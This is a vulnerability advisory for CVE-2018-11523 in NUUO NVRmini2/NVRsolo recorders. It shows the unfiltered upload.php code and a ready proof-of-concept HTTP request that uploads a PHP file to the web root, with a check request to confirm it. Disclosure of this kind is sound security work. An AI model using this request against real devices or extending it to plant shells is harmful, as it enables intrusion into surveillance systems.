[CVE-2018-11523] NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability

[unh3x]

NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability

========================== Advisory: NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability Author: xiaotian.wang From DBAppSecurity Affected Version: All ========================== Vulnerability Description

Recetly, I found an Arbitrary File Upload Vulnerability in 'NUUO NVRmini2' program, NVRmini2 is widely used all over the world.

Vulnerable cgi: /upload.php

<?php 
//echo $_FILES['userfile']['type'];
//echo ":";
//echo $_FILES['userfile']['size'];
//echo ":";
//echo urldecode($_FILES['userfile']['name']);
//echo ":";
//echo $_FILES['userfile']['tmp_name'];
//echo ":";
//echo $_FILES['userfile']['error'];
//echo ":";
echo $_FILES['userfile']['name'];
copy($_FILES["userfile"]["tmp_name"],$_FILES['userfile']['name']);
?>

As the code above, no any filter, so we can upload a php shell directly to the web server.

========================== POC && EXP

1. Upload 'nuuonvr.php' to web root path:

   POST /upload.php HTTP/1.1
   Host: 192.168.10.1
   Accept-Encoding: gzip, deflate
   Accept: */*
   Accept-Language: en
   User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
   Connection: close
   Content-Type: multipart/form-data; boundary=--------969849961
   Content-Length: 162
   
   ----------969849961
   Content-Disposition: form-data; name="userfile"; filename="nuuonvr.php"
   
   <?php phpinfo();@unlink(__FILE__);?>
   ----------969849961--

2. Check if the php file is uploaded successfully:

   GET http://192.168.10.1/nuuonvr.php

   If the page returns phpinfo info, target is vulnerable!

   Just enjoy it!